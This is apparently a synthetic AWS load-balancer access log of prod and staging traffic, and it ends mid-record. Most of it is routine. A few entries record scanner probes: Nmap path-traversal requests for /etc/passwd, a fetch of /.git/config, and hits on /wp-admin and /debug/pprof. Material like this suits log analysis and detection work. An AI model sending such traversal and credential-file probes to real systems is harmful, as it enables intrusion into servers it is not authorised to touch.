2024-11-01T00:21:39.398342Z "forward" "-" "-" "10.0.57.244:443" "200" "-" "-" -http 2024-11-01T00:21:41.307678Z staging-alb 7.56.96.48:15413 211.199.182.167:443 0.110914 0.429844 0.079247 200 200 264 7577 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bca5-ee9f6168340447f2b5850163" "staging-alb.example.com" "-" 1 2024-11-01T00:21:41.307678Z "forward" "-" "-" "211.199.182.167:443" "200" "-" "-" -https 2024-11-01T00:21:41.536968Z prod-web-alb 21.89.217.48:22890 10.0.61.7:443 0.051520 0.384999 0.050075 200 200 440 4557 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bca5-d680f7dc6d7d48aca8382bd7" "prod-web-alb.example.com" "-" 0 2024-11-01T00:21:41.536968Z "forward" "-" "-" "10.0.61.7:443" "200" "-" "-" -https 2024-11-01T00:21:42.010146Z prod-api-alb 250.107.207.107:56878 10.0.100.131:443 0.094188 0.229363 0.063934 200 200 711 13580 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bca6-ee10bbf0e496437b8d783ec7" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:42.010146Z "forward" "-" "-" "10.0.100.131:443" "200" "-" "-" -https 2024-11-01T00:21:42.676246Z staging-alb 170.50.94.2:28288 140.9.123.236:8080 0.043818 0.535163 0.107025 200 200 799 13196 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bca6-15f81a2869d4431b94501292" "staging-alb.example.com" "-" 3 2024-11-01T00:21:42.676246Z "forward" "-" "-" "140.9.123.236:8080" "200" "-" "-" -https 2024-11-01T00:21:43.744814Z prod-web-alb 149.138.38.148:58592 10.0.91.49:443 0.065087 0.217175 0.053128 404 404 102 10950 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bca7-b34e8ca12e4d440892cf4e66" "prod-web-alb.example.com" "-" 2 2024-11-01T00:21:43.744814Z "forward" "-" "-" "10.0.91.49:443" "404" "-" "-" -https 2024-11-01T00:21:45.731109Z staging-alb 67.10.226.204:58123 41.72.1.250:443 0.044436 0.214669 0.021454 404 404 453 5027 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bca9-96df1f4ba0cd4dc99bf60c55" "staging-alb.example.com" "-" 2 2024-11-01T00:21:45.731109Z "forward" "-" "-" "41.72.1.250:443" "404" "-" "-" -https 2024-11-01T00:21:46.880527Z prod-api-alb 188.11.181.78:45685 10.0.253.175:443 0.015053 0.469550 0.048243 200 200 139 6683 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcaa-8c9bad5e5d074f45834b6563" "prod-api-alb.example.com" "-" 10 2024-11-01T00:21:46.880527Z "forward" "-" "-" "10.0.253.175:443" "200" "-" "-" -https 2024-11-01T00:21:47.347892Z prod-api-alb 234.96.81.158:20452 10.0.1.236:443 0.056561 0.255375 0.075718 404 404 970 9255 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcab-596796ee365b4c50a27aab59" "prod-api-alb.example.com" "-" 9 2024-11-01T00:21:47.347892Z "forward" "-" "-" "10.0.1.236:443" "404" "-" "-" -http 2024-11-01T00:21:49.094076Z staging-alb 193.27.228.87:21808 127.144.92.67:443 0.062446 0.121617 0.018092 302 302 130 8583 "GET /.git/config HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcad-e1fc00e58ba64ca1afb4c64a" "-" "-" 3 2024-11-01T00:21:49.094076Z "forward" "-" "-" "127.144.92.67:443" "302" "-" "-" -https 2024-11-01T00:21:49.957499Z prod-web-alb 51.13.30.146:63427 10.0.63.33:443 0.097327 0.228425 0.069939 200 200 80 9417 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcad-026c1488f88b4e3fb059e39b" "prod-web-alb.example.com" "-" 5 2024-11-01T00:21:49.957499Z "forward" "-" "-" "10.0.63.33:443" "200" "-" "-" -https 2024-11-01T00:21:51.773407Z prod-api-alb 185.181.166.125:57612 10.0.57.209:443 0.073310 0.071402 0.045659 302 302 621 1165 "POST /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcaf-d6673684a951468c8eb8d393" "-" "-" 1 2024-11-01T00:21:51.773407Z "forward" "-" "-" "10.0.57.209:443" "302" "-" "-" -https 2024-11-01T00:21:52.108817Z prod-web-alb 166.107.55.173:43210 10.0.221.191:443 0.077860 0.423507 0.005221 200 200 432 9418 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcb0-34740dccf90541379caa6ac0" "prod-web-alb.example.com" "-" 6 2024-11-01T00:21:52.108817Z "forward" "-" "-" "10.0.221.191:443" "200" "-" "-" -http 2024-11-01T00:21:53.321596Z staging-alb 210.164.166.68:44412 223.13.242.128:8080 0.103497 0.369568 0.056172 200 200 985 2585 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb1-39df426e01344656a30d34b2" "staging-alb.example.com" "-" 1 2024-11-01T00:21:53.321596Z "forward" "-" "-" "223.13.242.128:8080" "200" "-" "-" -https 2024-11-01T00:21:54.427585Z staging-alb 45.155.205.66:29635 95.192.161.208:443 0.109369 0.310554 0.114126 403 403 913 6670 "PUT /debug/pprof HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcb2-c8d150e6758e4f8db4cbdcec" "-" "-" 4 2024-11-01T00:21:54.427585Z "forward" "-" "-" "95.192.161.208:443" "403" "-" "-" -https 2024-11-01T00:21:56.092214Z prod-web-alb 37.87.135.20:62728 10.0.111.2:443 0.028378 0.193133 0.032542 301 301 216 7528 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcb4-a2ff93d255224ab087b8619d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:21:56.092214Z "forward" "-" "-" "10.0.111.2:443" "301" "-" "-" -https 2024-11-01T00:21:56.341592Z prod-api-alb 27.197.124.110:37373 10.0.91.83:443 0.080782 0.278626 0.058087 301 301 512 14108 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcb4-1a63e6e64d714367ab6cd379" "prod-api-alb.example.com" "-" 5 2024-11-01T00:21:56.341592Z "forward" "-" "-" "10.0.91.83:443" "301" "-" "-" -https 2024-11-01T00:21:56.791447Z staging-alb 171.226.219.251:37063 137.91.48.26:80 0.044532 0.351664 0.139832 302 302 467 11775 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb4-d3a10a94b24146e08bdba0b2" "staging-alb.example.com" "-" 8 2024-11-01T00:21:56.791447Z "forward" "-" "-" "137.91.48.26:80" "302" "-" "-" -https 2024-11-01T00:21:58.141814Z prod-web-alb 193.27.228.181:42198 10.0.81.141:443 0.044706 0.313225 0.093390 404 404 69 10151 "GET /static/../../secret HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcb6-3acf17bccb9e408f8e6d3ac4" "-" "-" 2 2024-11-01T00:21:58.141814Z "forward" "-" "-" "10.0.81.141:443" "404" "-" "-" -https 2024-11-01T00:21:59.192895Z prod-api-alb 211.96.44.225:53194 10.0.92.182:443 0.061082 0.037131 0.077360 404 404 540 5380 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcb7-3548150d10ee405194609d43" "prod-api-alb.example.com" "-" 8 2024-11-01T00:21:59.192895Z "forward" "-" "-" "10.0.92.182:443" "404" "-" "-" -https 2024-11-01T00:22:00.015258Z staging-alb 193.27.228.181:44663 227.199.57.3:443 0.144694 0.195609 0.128664 403 403 658 11262 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb8-4542909f40e64bfbb97066da" "-" "-" 7 2024-11-01T00:22:00.015258Z "forward" "-" "-" "227.199.57.3:443" "403" "-" "-" -https 2024-11-01T00:22:00.781435Z staging-alb 235.208.42.95:35577 94.133.201.120:8080 0.055677 0.322725 0.144110 200 200 381 9682 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcb8-5809535f6a5443c79acb214c" "staging-alb.example.com" "-" 0 2024-11-01T00:22:00.781435Z "forward" "-" "-" "94.133.201.120:8080" "200" "-" "-" -https 2024-11-01T00:22:01.852116Z staging-alb 193.174.212.250:36173 185.211.143.136:443 0.126602 0.421919 0.114801 200 200 268 10838 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcb9-e63dced8c5ba4d57af86688a" "staging-alb.example.com" "-" 9 2024-11-01T00:22:01.852116Z "forward" "-" "-" "185.211.143.136:443" "200" "-" "-" -https 2024-11-01T00:22:02.375665Z prod-web-alb 67.66.104.202:58312 10.0.70.38:443 0.009293 0.146589 0.043242 200 200 453 14013 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcba-f09a57dba51247b3971352ed" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:02.375665Z "forward" "-" "-" "10.0.70.38:443" "200" "-" "-" -https 2024-11-01T00:22:03.898624Z prod-web-alb 147.3.165.29:52301 10.0.25.201:443 0.080377 0.195309 0.057474 200 200 771 12653 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcbb-9a4682a242c94333920e445d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:22:03.898624Z "forward" "-" "-" "10.0.25.201:443" "200" "-" "-" -https 2024-11-01T00:22:04.409494Z prod-web-alb 244.8.183.77:64740 10.0.41.6:443 0.015824 0.100544 0.046148 302 302 36 6180 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcbc-d55be63b6ce84b42a1f89dc5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:22:04.409494Z "forward" "-" "-" "10.0.41.6:443" "302" "-" "-" -https 2024-11-01T00:22:04.750654Z prod-api-alb 213.220.139.76:31474 10.0.59.107:443 0.086574 0.320971 0.075057 301 301 624 14141 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcbc-687df0f0c44e492f868eced9" "prod-api-alb.example.com" "-" 10 2024-11-01T00:22:04.750654Z "forward" "-" "-" "10.0.59.107:443" "301" "-" "-" -http 2024-11-01T00:22:06.151206Z staging-alb 252.73.163.90:28206 7.194.100.1:8080 0.024306 0.084898 0.086150 200 200 580 14214 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcbe-6549f127495a487fadd1a3ba" "staging-alb.example.com" "-" 2 2024-11-01T00:22:06.151206Z "forward" "-" "-" "7.194.100.1:8080" "200" "-" "-" -http 2024-11-01T00:22:07.396034Z staging-alb 170.47.222.227:26918 167.52.35.83:8080 0.095679 0.503661 0.058145 404 404 245 3561 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcbf-fa1224d737d74973ba0e0e6c" "staging-alb.example.com" "-" 0 2024-11-01T00:22:07.396034Z "forward" "-" "-" "167.52.35.83:8080" "404" "-" "-" -http 2024-11-01T00:22:09.116763Z staging-alb 209.161.183.134:19565 34.44.110.17:443 0.078420 0.528966 0.065913 200 200 970 10307 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcc1-7182642a928a4376841127d8" "staging-alb.example.com" "-" 7 2024-11-01T00:22:09.116763Z "forward" "-" "-" "34.44.110.17:443" "200" "-" "-" -https 2024-11-01T00:22:10.745597Z prod-api-alb 174.83.187.225:57662 10.0.253.107:443 0.047283 0.394353 0.010277 200 200 16 447 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcc2-d186447015f948a9b2ae7d9a" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:10.745597Z "forward" "-" "-" "10.0.253.107:443" "200" "-" "-" -https 2024-11-01T00:22:11.958462Z prod-web-alb 85.40.172.212:38672 10.0.39.12:443 0.033576 0.468847 0.078175 200 200 942 7911 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcc3-f82a996066d34228a0e171a9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:22:11.958462Z "forward" "-" "-" "10.0.39.12:443" "200" "-" "-" -https 2024-11-01T00:22:13.569613Z prod-web-alb 107.182.210.144:34847 10.0.176.238:443 0.051783 0.175124 0.040001 200 200 573 5489 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcc5-3cd0eb5b99674c8cbe98f088" "prod-web-alb.example.com" "-" 7 2024-11-01T00:22:13.569613Z "forward" "-" "-" "10.0.176.238:443" "200" "-" "-" -https 2024-11-01T00:22:15.445042Z prod-api-alb 160.29.49.101:62477 10.0.122.150:443 0.052849 0.116847 0.049526 200 200 362 8677 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcc7-26b2df42fdbe4026ba8266e4" "prod-api-alb.example.com" "-" 0 2024-11-01T00:22:15.445042Z "forward" "-" "-" "10.0.122.150:443" "200" "-" "-" -https 2024-11-01T00:22:15.845513Z prod-api-alb 130.24.61.145:46390 10.0.142.41:443 0.077128 0.057039 0.015444 200 200 696 10655 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcc7-5db043eb310d440ab9cd3fb8" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:15.845513Z "forward" "-" "-" "10.0.142.41:443" "200" "-" "-" -https 2024-11-01T00:22:17.706385Z prod-api-alb 202.9.250.183:63074 10.0.25.111:443 0.016707 0.470791 0.001740 200 200 970 1610 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcc9-be14078c45304427a47beb80" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:17.706385Z "forward" "-" "-" "10.0.25.111:443" "200" "-" "-" -https 2024-11-01T00:22:19.609355Z prod-api-alb 193.27.228.181:58020 10.0.19.48:443 0.077129 0.455408 0.010428 404 404 641 2585 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bccb-9e3138d61ac7490092958a39" "-" "-" 5 2024-11-01T00:22:19.609355Z "forward" "-" "-" "10.0.19.48:443" "404" "-" "-" -https 2024-11-01T00:22:20.122153Z prod-api-alb 59.92.210.239:19364 10.0.133.148:443 0.045476 0.392785 0.003358 302 302 766 3035 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bccc-adf18017a4534e079fe20c76" "prod-api-alb.example.com" "-" 1 2024-11-01T00:22:20.122153Z "forward" "-" "-" "10.0.133.148:443" "302" "-" "-" -https 2024-11-01T00:22:21.572409Z staging-alb 202.202.11.154:17172 241.239.98.210:8080 0.032940 0.569738 0.118255 301 301 517 8931 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bccd-072f6facd1c146079324f924" "staging-alb.example.com" "-" 8 2024-11-01T00:22:21.572409Z "forward" "-" "-" "241.239.98.210:8080" "301" "-" "-" -https 2024-11-01T00:22:23.378978Z prod-api-alb 142.72.64.252:45171 10.0.202.201:443 0.033754 0.453558 0.095890 302 302 719 13965 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bccf-a4568cd1c71b4a0db7638efe" "prod-api-alb.example.com" "-" 4 2024-11-01T00:22:23.378978Z "forward" "-" "-" "10.0.202.201:443" "302" "-" "-" -https 2024-11-01T00:22:24.062302Z prod-api-alb 5.11.100.129:41016 10.0.39.195:443 0.060546 0.217744 0.060891 200 200 14 9391 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcd0-096c511d85e443379fc96a99" "prod-api-alb.example.com" "-" 4 2024-11-01T00:22:24.062302Z "forward" "-" "-" "10.0.39.195:443" "200" "-" "-" -https 2024-11-01T00:22:25.902461Z staging-alb 137.249.213.99:20288 249.150.245.255:443 0.090931 0.373310 0.123796 302 302 804 4102 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcd1-049b140fd5e2417186f83ce3" "staging-alb.example.com" "-" 8 2024-11-01T00:22:25.902461Z "forward" "-" "-" "249.150.245.255:443" "302" "-" "-" -https 2024-11-01T00:22:27.828735Z staging-alb 188.252.241.111:31933 252.222.180.202:80 0.040444 0.710997 0.115366 302 302 881 3304 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcd3-93a6e9afe983400aa29cb100" "staging-alb.example.com" "-" 3 2024-11-01T00:22:27.828735Z "forward" "-" "-" "252.222.180.202:80" "302" "-" "-" -https 2024-11-01T00:22:29.568185Z prod-web-alb 182.47.156.57:51598 10.0.4.210:443 0.073779 0.209822 0.082203 200 200 42 13502 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcd5-e085d2b56deb416bb82876ec" "prod-web-alb.example.com" "-" 5 2024-11-01T00:22:29.568185Z "forward" "-" "-" "10.0.4.210:443" "200" "-" "-" -https 2024-11-01T00:22:30.393200Z prod-web-alb 45.196.208.73:22886 10.0.229.77:443 0.019124 0.395430 0.093582 200 200 939 4209 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcd6-bd8e972a60bf47f5af4356e0" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:30.393200Z "forward" "-" "-" "10.0.229.77:443" "200" "-" "-" -https 2024-11-01T00:22:31.175942Z prod-api-alb 198.235.47.228:33746 10.0.126.2:443 0.095618 0.448367 0.039980 200 200 731 1159 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcd7-76fec834643e41c8a2323160" "prod-api-alb.example.com" "-" 3 2024-11-01T00:22:31.175942Z "forward" "-" "-" "10.0.126.2:443" "200" "-" "-" -https 2024-11-01T00:22:31.655119Z prod-web-alb 160.71.78.128:60150 10.0.93.19:443 0.074591 0.475274 0.051057 302 302 65 10563 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcd7-6655faaabab34e42a8c93568" "prod-web-alb.example.com" "-" 0 2024-11-01T00:22:31.655119Z "forward" "-" "-" "10.0.93.19:443" "302" "-" "-" -https 2024-11-01T00:22:32.199587Z staging-alb 234.233.28.78:55815 33.95.209.73:443 0.026414 0.396805 0.129390 404 404 244 6675 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcd8-e486fef7e9f84b7cba12bb55" "staging-alb.example.com" "-" 8 2024-11-01T00:22:32.199587Z "forward" "-" "-" "33.95.209.73:443" "404" "-" "-" -https 2024-11-01T00:22:32.348422Z prod-api-alb 79.159.135.85:64834 10.0.74.201:443 0.080068 0.193858 0.041126 302 302 434 13756 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 